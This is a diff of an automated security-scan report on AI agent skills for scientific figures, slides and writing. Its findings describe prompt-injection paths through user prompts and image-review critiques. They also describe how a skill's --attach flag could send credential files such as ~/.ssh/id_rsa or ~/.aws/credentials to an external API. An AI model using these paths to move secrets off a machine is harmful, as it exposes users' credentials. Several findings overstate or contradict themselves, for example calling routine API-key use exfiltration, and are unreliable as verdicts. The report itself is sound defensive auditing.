Preview' as the models used. However, the actual model identifiers in the code are 'google/gemini-3.1-flash-image-preview' and 'google/gemini-3.1-pro-preview'. 'Nano Banana 2' does not appear to be a real model name - this is a fabricated/marketing name that misrepresents the actual underlying technology, which could mislead users about the capabilities and provenance of the AI system being used.- > File: `scripts/generate_schematic_ai.py:155`- > **Remediation:** Use accurate model names in documentation and descriptions. Do not use invented marketing names that obscure the actual models being used. Clearly document which models are being called so users can make informed decisions about data sharing and costs.+ > **Remediation:** Pin the dependency to a specific known-good version, e.g., 'pip install requests==2.31.0', and provide a requirements.txt file with pinned versions for all dependencies.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — User-Controlled Prompt Injected Directly into AI Generation Request- > The user-supplied 'prompt' argument is passed without sanitization directly into the AI image generation request payload sent to the OpenRouter API. A malicious user could craft a prompt containing instructions that manipulate the Nano Banana 2 model's behavior, potentially causing it to generate harmful content or exfiltrate information through the generated image metadata or review responses.- > File: `scripts/generate_schematic_ai.py:248`- > **Remediation:** Sanitize or validate user-supplied prompts before including them in API requests. Consider wrapping the user prompt in a structured system message that limits the scope of instructions the model can follow.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Passed via Command-Line Argument Risks Exposure+ > The --api-key flag in both generate_schematic.py and generate_schematic_ai.py allows the OpenRouter API key to be passed as a command-line argument. While the code does pass the key via environment variable to subprocesses (mitigating process listing exposure for the subprocess), the parent process itself receives the key as a CLI argument, which can be visible in process listings (ps aux), shell history, and system logs.+ > File: `scripts/generate_schematic.py`+ > **Remediation:** Remove the --api-key CLI flag entirely and require the API key to be set only via environment variable or .env file. This prevents accidental exposure in shell history and process listings.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — User-Controlled Prompt Injected into Quality Review Request- > The original user prompt is embedded verbatim into the review prompt sent to Gemini 3.1 Pro Preview. A malicious user could craft a prompt that manipulates the reviewer model's scoring behavior (e.g., always returning high scores to bypass quality gates) or causes the review model to output sensitive information in its critique text, which is then saved to a JSON log file.- > File: `scripts/generate_schematic_ai.py:290`- > **Remediation:** Treat the user prompt as untrusted data when constructing review prompts. Use structured message formats that clearly separate system instructions from user-supplied content. Consider truncating or escaping special characters in the user prompt before embedding it.+- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Fabricated AI Model Names Used for Capability Inflation+ > The skill references non-existent AI models 'Nano Banana 2' and 'Gemini 3.1 Pro Preview' as if they are real, established products. 'Nano Banana 2' does not exist as a real model. The actual model ID used in code is 'google/gemini-3.1-flash-image-preview', which is also not a verified real model identifier. This misrepresentation inflates perceived capabilities and may mislead users about the quality and provenance of the AI systems being used. The description claims 'publication-quality' output from fabricated model names, which constitutes capability inflation through brand/model impersonation.+ > File: `scripts/generate_schematic_ai.py`+ > **Remediation:** Use accurate, verifiable model names and identifiers. Do not invent or misrepresent AI model names. Verify that referenced OpenRouter model IDs actually exist before publishing the skill.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Potentially Exposed in Review Log JSON File- > The review log saved to disk contains the full user prompt and all iteration details. While the API key itself is not written to the log, the log file captures all critique responses from the AI models which may inadvertently contain sensitive information if the user prompt included sensitive data. The log is written to the output directory without access controls.- > File: `scripts/generate_schematic_ai.py:388`- > **Remediation:** Ensure the review log does not capture sensitive user data. Consider making log saving optional (opt-in) and documenting that logs may contain user prompt content. Apply appropriate file permissions to log files.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Sensitive API Key Loaded from .env File Without Scope Restriction+ > The _load_env_file() function loads .env files from the current working directory or script directory. If a user runs the script from a directory containing a .env file with other sensitive credentials, those could be loaded into the environment. The function uses override=False which is a partial mitigation, but the .env loading scope is not restricted to only the OPENROUTER_API_KEY variable.+ > File: `scripts/generate_schematic_ai.py`+ > **Remediation:** Instead of loading the entire .env file, read only the specific OPENROUTER_API_KEY variable. Alternatively, document clearly that only environment variables should be used and remove the .env loading functionality.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/scientific-schematics/scripts/generate_schematic.py@@ -1146,46 +1157,51 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 4 files> Environment variable access with network calls in scripts/generate_slide_image_ai.py, scripts/generate_slide_image.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_slide_image.py, scripts/generate_schematic.py, scripts/generate_slide_image_ai.py+ > **Remediation:** Review data flow across files: scripts/generate_slide_image.py, scripts/generate_schematic_ai.py, scripts/generate_schematic.py, scripts/generate_slide_image_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 4 files> Multi-file exfiltration chain detected: scripts/generate_slide_image_ai.py, scripts/generate_slide_image.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_slide_image_ai.py, scripts/generate_schematic_ai.py → scripts/generate_slide_image_ai.py, scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_slide_image.py, scripts/generate_schematic.py, scripts/generate_slide_image_ai.py--- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain: User Files Read and Sent to External API- > The skill instructs the agent to list files in the working directory (ls -la figures/, ls -la results/), read user data files (figures, charts, research data), and attach them to API calls sent to openrouter.ai via the --attach flag. This creates a complete read→send exfiltration chain where sensitive research data, unpublished results, proprietary figures, and other files in the user's working directory are transmitted to an external third-party service (OpenRouter/Google Gemini). The SKILL.md explicitly instructs: 'Before generating results slides, always: 1. List files in working directory: ls -la figures/ or ls -la results/ 2. Check user-provided directories for relevant figures 3. Attach ALL relevant figures that should appear on the slide'.- > File: `SKILL.md`- > **Remediation:** Clearly disclose in the skill description that user files will be transmitted to OpenRouter/Google APIs. Require explicit user consent before attaching and transmitting any user files. Implement a whitelist of allowed file types and size limits. Do not automatically scan and attach files from the working directory without explicit user approval for each file.+ > **Remediation:** Review data flow across files: scripts/generate_slide_image.py, scripts/generate_schematic_ai.py, scripts/generate_schematic.py, scripts/generate_slide_image_ai.py-- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims and Keyword Baiting in Skill Description- > The skill description contains extensive keyword baiting designed to trigger activation across a very wide range of scenarios: 'PowerPoint slides, conference presentations, seminar talks, research presentations, thesis defense slides, or any scientific talk.' The description also claims the skill 'Works with PowerPoint and LaTeX Beamer' without disclosing that it requires an external paid API key (OPENROUTER_API_KEY) and transmits user data to external services. The over-broad description may cause the skill to be activated in contexts where users do not expect their data to be sent externally.+- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Unauthorized Tool Use: Bash and Write Permissions Enable Broad File System Access+ > The skill declares allowed-tools: Read Write Edit Bash, which grants broad filesystem write access and arbitrary bash command execution. The SKILL.md instructions direct the agent to execute ls commands to enumerate the working directory and subdirectories (ls -la figures/, ls -la results/) before generating slides. Combined with the Write permission, this enables the skill to read arbitrary files, write to arbitrary locations, and execute bash commands beyond what is needed for presentation generation.> File: `SKILL.md`- > **Remediation:** Add clear disclosure in the description that the skill requires an external API key and transmits data to third-party services. Narrow the description to accurately reflect capabilities and prerequisites. Disclose the external service dependency upfront.+ > **Remediation:** 1. Restrict allowed-tools to only what is necessary (Python execution may suffice instead of raw Bash). 2. If Bash is required, document the specific commands used. 3. Avoid instructing the agent to enumerate directory contents broadly.-- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Unauthorized Tool Use: Bash Commands for Directory Traversal Beyond Declared Scope- > The skill declares allowed-tools as [Read, Write, Edit, Bash], and the SKILL.md instructions direct the agent to execute bash commands to list directory contents (ls -la figures/, ls -la results/) as part of the normal workflow. This enables broad filesystem reconnaissance beyond what is needed for the stated purpose of slide generation. The skill systematically instructs the agent to scan user directories for files to attach and transmit externally.- > File: `SKILL.md`- > **Remediation:** Restrict directory scanning to only explicitly user-specified files. Remove instructions to automatically scan working directories. Require users to explicitly specify which files to include rather than having the agent discover and attach files automatically.+- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Description Enables Excessive Activation+ > The skill description contains an extensive list of trigger keywords designed to maximize activation: 'PowerPoint slides, conference presentations, seminar talks, research presentations, thesis defense slides, or any scientific talk.' The phrase 'any scientific talk' is particularly over-broad. The description also promotes a specific commercial product ('Nano Banana Pro') as the default and recommended approach, which could constitute capability inflation by presenting a third-party AI service as a built-in capability.+ > File: `SKILL.md:1`+ > **Remediation:** 1. Narrow the description to specific, well-defined use cases. 2. Remove the 'any scientific talk' catch-all phrase. 3. Clearly disclose that Nano Banana Pro is a third-party external service requiring an API key, not a built-in capability.-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded API Calls: Multiple Slides Generated Per Presentation with Iterative Refinement- > The skill workflow instructs generating each slide individually (15-18 slides for a 15-minute talk) with up to 2 API calls per slide (generation + review iteration). This can result in 30-36 API calls per presentation, each with image attachments. While iterations are capped at 2, the overall resource consumption per presentation session is significant and could lead to unexpected API costs or rate limiting.- > File: `SKILL.md`- > **Remediation:** Document the expected API call volume and associated costs in the skill description. Consider adding a total call budget limit per session. Warn users before starting large presentation generation about expected API usage.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Review Log Contains Sensitive Prompt Data Written to Disk+ > In generate_schematic_ai.py, the generate_iterative() method writes a detailed JSON review log to disk containing the full user prompt, all iteration prompts (which may contain sensitive research data), critique text, and file paths. This log is written to the output directory automatically without user consent or the ability to opt out. The log file persists after the script completes and may contain confidential research information.+ > File: `scripts/generate_schematic_ai.py:380`+ > **Remediation:** 1. Make review log generation opt-in rather than automatic. 2. Add a --no-log flag to suppress log creation. 3. Clearly document that logs contain prompt data. 4. Consider sanitizing sensitive content before logging.- **🟠 HIGH** `LLM_COMMAND_INJECTION` — Command Injection via Subprocess with User-Controlled Prompt Input- > The generate_slide_image.py and generate_schematic.py scripts pass user-supplied prompt text as a command-line argument to a subprocess call (subprocess.run). The user prompt is passed directly as args[0] in the cmd list. While list-based subprocess calls are safer than shell=True, the prompt content is passed as a positional argument to the child Python script, which then uses it in API calls. More critically, the --attach flag accepts file paths from user input without sanitization, and these are passed directly to the subprocess. A malicious user could craft attachment paths that traverse directories or reference sensitive files.- > File: `scripts/generate_slide_image.py`- > **Remediation:** Validate and sanitize all file paths provided via --attach to ensure they are within expected directories. Implement path traversal prevention (e.g., resolve paths and check they are within the working directory). Validate prompt input length and content before passing to subprocess.--- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via Environment Variable Harvesting and External Network Calls- > Multiple scripts (generate_slide_image_ai.py, generate_schematic_ai.py) read the OPENROUTER_API_KEY environment variable and transmit it to external servers via HTTP requests. While the stated purpose is to call the OpenRouter API, the pattern of env var harvesting combined with outbound network calls creates a data exfiltration vector. The API key is read from the environment and sent in Authorization headers to openrouter.ai. If the base_url or model endpoints were tampered with, or if the skill is used in a context where the API key has broader permissions, this pattern could expose credentials.- > File: `scripts/generate_slide_image_ai.py`- > **Remediation:** Ensure the base_url is hardcoded and cannot be overridden by user input. Validate that the API key is only sent to the expected trusted endpoint. Consider scoping the API key to minimal permissions. Document clearly that the skill requires and transmits an API key to an external service.--- **🟡 MEDIUM** `LLM_OBFUSCATION` — Obfuscated Branding: 'Nano Banana Pro' Obscures Actual External Service Identity- > The skill repeatedly refers to 'Nano Banana Pro' as the AI image generation service, but the actual implementation in generate_slide_image_ai.py reveals this is Google's Gemini model accessed via OpenRouter (model: 'google/gemini-3-pro-image-preview'). This obfuscation hides from users which external service is actually receiving their data and API keys. Users consenting to use 'Nano Banana Pro' may not realize they are sending data to Google via OpenRouter. The review model is similarly obscured ('Gemini 3 Pro' in comments but 'google/gemini-3-pro' in code).- > File: `scripts/generate_slide_image_ai.py:42`- > **Remediation:** Clearly disclose in the skill description and SKILL.md that data is sent to Google Gemini models via OpenRouter. Remove the 'Nano Banana Pro' branding obfuscation or clearly document what service it refers to. Users should have informed consent about which external services receive their data.+ > In generate_slide_image.py, the user-supplied prompt string is passed directly as a command-line argument to a subprocess call (subprocess.run(cmd, ...)). The cmd list is constructed by appending args.prompt directly. While list-based subprocess calls are safer than shell=True, the prompt content is passed as an argument to the AI script which then uses it in API requests. More critically, the --attach flag accepts file paths from user input without sanitization, which could be used to attach sensitive files (e.g., ~/.ssh/id_rsa, ~/.aws/credentials) to the API request, exfiltrating their contents to the external OpenRouter API.+ > File: `scripts/generate_slide_image.py:120`+ > **Remediation:** 1. Validate and sanitize all file paths provided via --attach to ensure they are within expected directories. 2. Reject paths that traverse outside the working directory (e.g., paths containing '..' or absolute paths to sensitive locations). 3. Add an allowlist of permitted file extensions for attachments. 4. Validate that attached files are image files before sending to external API.++- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Dependencies in Python Scripts+ > The scripts use external packages (requests, pymupdf/fitz, Pillow, PyPDF2, python-pptx) without version pinning. The scripts install or import these packages without specifying exact versions, which could allow supply chain attacks if a malicious version of these packages is published. The requests library in particular is used for all external API communication.+ > File: `scripts/generate_slide_image_ai.py:14`+ > **Remediation:** 1. Pin all dependency versions in a requirements.txt file (e.g., requests==2.31.0). 2. Use a lockfile (pip-compile or poetry.lock) to ensure reproducible installs. 3. Consider using hash verification for package integrity.++- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via External Network Calls to OpenRouter+ > The skill collects the OPENROUTER_API_KEY environment variable and transmits it to an external API endpoint (https://openrouter.ai/api/v1). While this is nominally for AI image generation, the pattern of reading environment variables and sending them over the network constitutes a data exfiltration risk. The API key is passed through subprocess calls and environment copies, creating a cross-file exfiltration chain across generate_slide_image.py, generate_slide_image_ai.py, generate_schematic.py, and generate_schematic_ai.py. A compromised or malicious version of this skill could harvest API keys and other environment variables.+ > File: `scripts/generate_slide_image_ai.py:85`+ > **Remediation:** 1. Document clearly that OPENROUTER_API_KEY is sent to openrouter.ai. 2. Validate the base_url is hardcoded and cannot be overridden by user input. 3. Scope environment variable access to only what is needed. 4. Consider using a secrets manager rather than environment variables for API keys.++- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Sensitive File Exfiltration via --attach Flag to External AI API+ > The generate_slide_image_ai.py script reads arbitrary files specified via the --attach parameter and encodes them as base64, then transmits them to the external OpenRouter API. The SKILL.md instructions explicitly encourage attaching files from the working directory including figures/, results/, diagrams/, and user-provided files. There is no validation preventing a user or malicious instruction from attaching sensitive files (credentials, private keys, source code) to be sent to the external API. The _image_to_base64 function reads any file path without restriction.+ > File: `scripts/generate_slide_image_ai.py:155`+ > **Remediation:** 1. Validate that attached files are valid image files (check magic bytes, not just extension). 2. Restrict attachment paths to the current working directory and its subdirectories. 3. Reject absolute paths and path traversal attempts. 4. Add a maximum file size limit for attachments. 5. Log all files being transmitted to external APIs.++- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded API Retry Loop Could Cause Resource Exhaustion+ > The generate_iterative() and generate_slide() methods loop up to 'iterations' times (default 2, max 2), making multiple API calls per iteration (one for generation, one for review). While the max is capped at 2, the SKILL.md instructions direct the agent to generate slides for every slide in a presentation (15-18 slides for a 15-minute talk), each making up to 4 API calls. This could result in 60-72 API calls per presentation, potentially exhausting API quotas or incurring significant costs without user awareness.+ > File: `scripts/generate_slide_image_ai.py:230`+ > **Remediation:** 1. Display estimated API call count and cost before starting generation. 2. Add a confirmation prompt before generating large presentations. 3. Document the API cost implications clearly in the skill description.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/scientific-slides/scripts/generate_schematic.py@@ -1226,46 +1242,46 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 3 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py, scripts/generate_image.py+ > **Remediation:** Review data flow across files: scripts/generate_image.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 3 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_image.py, scripts/generate_schematic_ai.py → scripts/generate_image.py, scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py, scripts/generate_image.py+ > **Remediation:** Review data flow across files: scripts/generate_image.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py-- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Allowed-Tools Violation: Bash and Python Declared but Scripts Make Unrestricted Network Calls- > The SKILL.md manifest declares allowed-tools as [Read, Write, Edit, Bash], but the Python scripts make outbound HTTP POST requests to external APIs (openrouter.ai). While Python is not listed in allowed-tools, the Bash tool is used to invoke Python scripts that perform network operations. The allowed-tools declaration does not include any network/HTTP capability, yet the scripts perform extensive external API calls transmitting user data and credentials.+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Bounded but Potentially Expensive Iterative API Call Loop+ > The generate_iterative() method in generate_schematic_ai.py implements a loop that makes multiple API calls (up to 2 iterations by default, enforced as max 2). Each iteration makes at least 2 API calls (one for generation, one for review). The SKILL.md instructions mandate generating 5-30 figures per document type (e.g., 20-30 for market research). Combined with the iterative refinement, this could result in 40-120 API calls per document, leading to significant cost and potential rate limiting. The instructions state 'Generate figures liberally - when in doubt, add a visual' which amplifies this risk.> File: `SKILL.md`- > **Remediation:** Update the allowed-tools declaration to explicitly include network/API access, or add a clear disclosure that the skill makes external API calls. Consider adding Python to the allowed-tools list since Python scripts are directly invoked.+ > **Remediation:** Add explicit cost warnings and user confirmation before generating large numbers of figures. Implement a per-session API call budget. Clarify in the manifest that extensive API usage will incur costs. Add a dry-run mode that shows the planned figure generation before execution.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Prescriptive Mandatory Figure Generation Instructions- > The SKILL.md instructions contain mandatory directives requiring the agent to generate large numbers of AI images for every document type (e.g., 20-30 figures for market research, 1-2 per slide for presentations). These instructions use strong language ('MANDATORY', 'CRITICAL', 'not optional') to force extensive use of the image generation scripts, which make paid API calls to OpenRouter. This could result in unexpected API costs for users and constitutes a form of capability inflation by mandating excessive tool use.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Mandatory Figure Generation Instructions+ > The SKILL.md instructions use mandatory language ('MANDATORY', 'REQUIRED', 'ALWAYS', 'CRITICAL') to instruct the agent to generate large numbers of AI images for every document, regardless of user intent. The instruction 'Every scientific paper MUST include a graphical abstract plus 1-2 additional AI-generated figures' and minimum figure tables (up to 25-30 for market research) inflate the scope of the skill beyond what a user requesting scientific writing assistance might expect. This could lead to unexpected API costs and resource consumption.> File: `SKILL.md`- > **Remediation:** Change mandatory figure generation requirements to recommendations. Remove the 'not optional' and 'MANDATORY' language. Allow users to decide how many figures to generate based on their needs and budget constraints. Disclose that figure generation incurs API costs.+ > **Remediation:** Change mandatory figure generation to optional/recommended behavior. Allow users to opt-in to AI figure generation rather than making it a default requirement. Remove the 'MANDATORY' and 'not optional' language that forces resource-intensive operations without user consent.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via Environment Variable and .env File Harvesting- > The scripts generate_image.py and generate_schematic_ai.py both harvest API keys from environment variables (OPENROUTER_API_KEY) and .env files by traversing parent directories. While the stated purpose is to authenticate with OpenRouter, the pattern of reading credentials from the filesystem and environment and transmitting them to an external API endpoint constitutes a credential harvesting and exfiltration risk. The check_env_file() function in generate_image.py walks all parent directories looking for .env files, which could expose credentials beyond the intended scope. The API key is then transmitted in HTTP Authorization headers to openrouter.ai.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Harvesting via Environment Variable Access with External Network Transmission+ > The scripts generate_image.py and generate_schematic_ai.py both read the OPENROUTER_API_KEY from environment variables and .env files, then transmit this key to external servers (openrouter.ai). While the stated purpose is legitimate API usage, the pattern of reading credentials from the environment and sending them over the network constitutes a credential exposure risk. The check_env_file() function in generate_image.py walks parent directories searching for .env files, which could expose credentials from parent project directories beyond the skill's own scope. The _load_env_file() function in generate_schematic_ai.py similarly searches for .env files. If the API key is compromised or the endpoint is spoofed, credentials are exfiltrated.> File: `scripts/generate_image.py`- > **Remediation:** Restrict .env file search to the current working directory only, not parent directories. Validate that the API endpoint domain is expected before transmitting credentials. Consider using a dedicated secrets manager rather than .env file traversal.+ > **Remediation:** Restrict .env file search to the skill's own directory only, not parent directories. Validate the API endpoint URL against a hardcoded allowlist. Consider using a secrets manager rather than .env files. Add user confirmation before transmitting credentials to external services.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Subprocess Execution with User-Controlled Input Passed to Shell- > In generate_schematic.py, user-provided prompt text is passed as a command-line argument to a subprocess invocation via subprocess.run(). While the API key is passed via environment variable (good practice), the user prompt is passed directly as a positional argument in the cmd list. If the prompt contains shell metacharacters and the subprocess call were to use shell=True, this could lead to command injection. Currently shell=False (default), but the pattern is fragile.- > File: `scripts/generate_schematic.py`- > **Remediation:** The current implementation uses a list-based subprocess call (not shell=True), which is safe from shell injection. However, validate and sanitize the prompt input before passing it to subprocess. Add input length limits and character validation to prevent unexpected behavior.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-Directory Credential Harvesting via Parent Directory Traversal+ > The check_env_file() function in generate_image.py traverses ALL parent directories of the current working directory searching for .env files containing OPENROUTER_API_KEY. This means if the agent is operating in a subdirectory of a project that has a .env file with other secrets (AWS keys, database passwords, etc.), those files will be opened and read. The function reads the entire .env file line by line, exposing all contents to the script's memory. This is an over-collection pattern that accesses data beyond the skill's stated scope.+ > File: `scripts/generate_image.py`+ > **Remediation:** Limit .env file search to the skill's own directory (Path(__file__).parent) only. Do not traverse parent directories. Use os.getenv() as the primary mechanism for API key retrieval.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain: User Prompts and Document Content Sent to External API- > The three-script chain (generate_schematic.py → generate_schematic_ai.py → OpenRouter API) transmits user-provided prompts and potentially sensitive document content to an external third-party service (openrouter.ai). The generate_schematic_ai.py script also sends base64-encoded images back to the review model (google/gemini-3.1-pro-preview via OpenRouter). Any sensitive content in the user's scientific manuscript (unpublished research, proprietary data, patient information) included in prompts or image descriptions would be exfiltrated to external servers without explicit user warning in the skill instructions.- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** Add explicit disclosure in SKILL.md that user prompts and image content are transmitted to OpenRouter (a third-party service). Warn users not to include sensitive, proprietary, or patient-identifiable information in prompts. Consider adding a confirmation step before transmitting data externally.+- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Prompt Content Passed Directly to External AI API Without Sanitization+ > In generate_image.py and generate_schematic_ai.py, user-supplied prompt text is passed directly into API request payloads sent to openrouter.ai without any sanitization or validation. The prompt argument from the command line (args.prompt) flows directly into the message content of the API request. If an attacker can influence the prompt content (e.g., through indirect prompt injection via document content), they could craft prompts that manipulate the image generation API or attempt to extract information through the API's response.+ > File: `scripts/generate_image.py`+ > **Remediation:** Validate and sanitize prompt content before sending to external APIs. Implement length limits on prompts. Consider a content policy check before transmission. Log all prompts for audit purposes.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Unrestricted Parent Directory .env File Traversal- > The _load_env_file() function in generate_schematic_ai.py and check_env_file() in generate_image.py both traverse parent directories looking for .env files. This could expose credentials from unrelated projects or system-level .env files that happen to exist in parent directories of the working directory. The traversal in generate_image.py goes all the way to the filesystem root via current_dir.parents.- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** Limit .env file discovery to the script's own directory or the current working directory only. Do not traverse parent directories. The generate_image.py version is more dangerous as it walks all the way to the filesystem root.+- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Unauthorized Tool Use: Bash Execution Not Declared in allowed-tools+ > The SKILL.md manifest declares allowed-tools as [Read, Write, Edit, Bash]. The generate_schematic.py script uses subprocess.run() to execute another Python script (generate_schematic_ai.py) as a subprocess. While Bash is declared, the script spawns child processes that themselves make external network calls, creating a tool-chaining pattern where the declared tool boundary (Bash) is used to invoke additional network-capable scripts. The subprocess execution passes the API key via environment variable to avoid process listing exposure, which is a security-aware pattern, but the overall subprocess chain increases the attack surface.+ > File: `scripts/generate_schematic.py`+ > **Remediation:** Document the subprocess chain explicitly in the skill manifest. Consider consolidating the two schematic scripts into one to reduce the subprocess chain. Validate that the ai_script path is within the skill's own directory before executing.-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Potential API Cost Exhaustion via Mandatory Iterative Image Generation- > The generate_schematic_ai.py script implements an iterative refinement loop that makes multiple API calls per image (generation + review per iteration, up to 2 iterations). Combined with the SKILL.md instructions mandating 20-30 figures for market research documents and 1-2 figures per slide for presentations, this could result in 40-120+ API calls for a single document, potentially exhausting API quotas or incurring significant costs without user awareness.+- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection Risk via AI-Generated Image Review Feedback+ > In generate_schematic_ai.py, the review_image() method sends generated images to Gemini 3.1 Pro Preview for quality review, then uses the text response (critique) directly in the improve_prompt() method to construct the next generation prompt. If the image generation model embeds text or instructions within the generated image that are then interpreted by the review model and returned as critique text, those instructions could be incorporated into subsequent prompts, creating an indirect prompt injection chain through the image review loop.> File: `scripts/generate_schematic_ai.py`- > **Remediation:** Add cost warnings and user confirmation before generating large numbers of figures. Implement a maximum total API call limit per session. Make the iterative refinement opt-in rather than default behavior for bulk generation scenarios.+ > **Remediation:** Sanitize or validate the critique text returned from the review model before incorporating it into subsequent prompts. Implement a structured output format for reviews rather than free-form text injection. Consider separating the critique parsing from prompt construction.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/scientific-writing/scripts/generate_schematic.py@@ -1284,90 +1300,68 @@### seaborn — 🔴 CRITICAL-- **🟠 HIGH** `LLM_SKILL_DISCOVERY_ABUSE` — Suspicious Discrepancy: Script Files Hidden Despite Python Files Present- > The submission reports 'No script files found' in the Script Files section, yet the static file inventory clearly shows 3 Python files exist in the package. This discrepancy suggests the skill package may be deliberately concealing its Python scripts from the manifest/submission view while they remain present on disk and executable. This is a capability inflation / concealment pattern — the skill presents itself as a pure documentation/instruction skill with no executable code, while actually containing Python scripts that perform environment variable harvesting and network exfiltration per static analysis findings.- > **Remediation:** Audit the full package directory to identify all 3 Python files. Determine why they were not surfaced in the script files section. If the skill intentionally hides its scripts, treat this as a high-confidence malicious indicator. Reject the skill and do not execute it.+- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Skill Name Shadows Legitimate Package — Potential Capability Inflation / Confusion+ > The skill is named 'seaborn', identical to the well-known Python visualization library. This naming could cause confusion in skill discovery: an agent or user searching for seaborn visualization help may activate this skill believing it is an official or trusted resource, when it is a third-party skill from 'K-Dense Inc.' with undisclosed Python files and flagged exfiltration behavior. The description is detailed and accurate-sounding, which increases the likelihood of unsuspecting activation.+ > **Remediation:** Rename the skill to something that clearly identifies its origin (e.g., 'kdense-seaborn-viz' or 'seaborn-helper'). Add explicit authorship and provenance disclaimers in the description. Do not use package names as skill names without clear differentiation.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and Compatibility Metadata- > The skill manifest does not specify allowed-tools or compatibility fields. While these are optional per the agent skills spec, their absence combined with the other high-severity findings in this package means there are no declared restrictions on what tools or environments the skill can use. This allows any undisclosed Python scripts to use unrestricted tool access.- > **Remediation:** Add explicit allowed-tools restrictions to limit the skill's tool access surface. Given the exfiltration findings, this is especially important to prevent network access and file system traversal.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Optional Dependency Installation Pattern+ > The skill instructs installation of seaborn with a pinned version (seaborn==0.13.2), which is good practice. However, the optional stats variant (seaborn[stats]==0.13.2) pulls in scipy and statsmodels whose transitive dependencies are not pinned. Additionally, the skill uses 'uv pip install' which may resolve unpinned transitive dependencies from PyPI at install time, creating a supply chain risk window.+ > **Remediation:** Provide a fully pinned requirements file (requirements.txt or uv.lock) for reproducible installs. Use 'uv pip install -r requirements.txt' with all transitive dependencies pinned and hashed for integrity verification.- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Cross-File Environment Variable Exfiltration Chain Detected- > Static analysis flagged a cross-file exfiltration chain spanning 3 files involving environment variable access combined with network calls. Although the SKILL.md instruction body appears benign and no script files were surfaced in the submission, the file inventory reports 3 Python files present in the package. The pre-scan static analyzers detected BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across these files. This pattern — reading environment variables (e.g., API keys, AWS credentials, tokens) and transmitting them via network calls — is a classic credential harvesting and data exfiltration pattern. The 3 Python files were not provided for direct inspection, which itself is suspicious given the static findings.- > File: `SKILL.md`- > **Remediation:** Immediately inspect all 3 Python files in the package for environment variable reads (os.environ, os.getenv) combined with outbound network calls (requests, urllib, http.client, socket). Remove any code that transmits local environment data to external endpoints. Ensure no credentials, tokens, or sensitive environment variables are harvested and exfiltrated. Do not install or use this skill until a full audit of all Python files is completed.--- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — Referenced Files Point to Non-Existent Python Modules (seaborn.py, 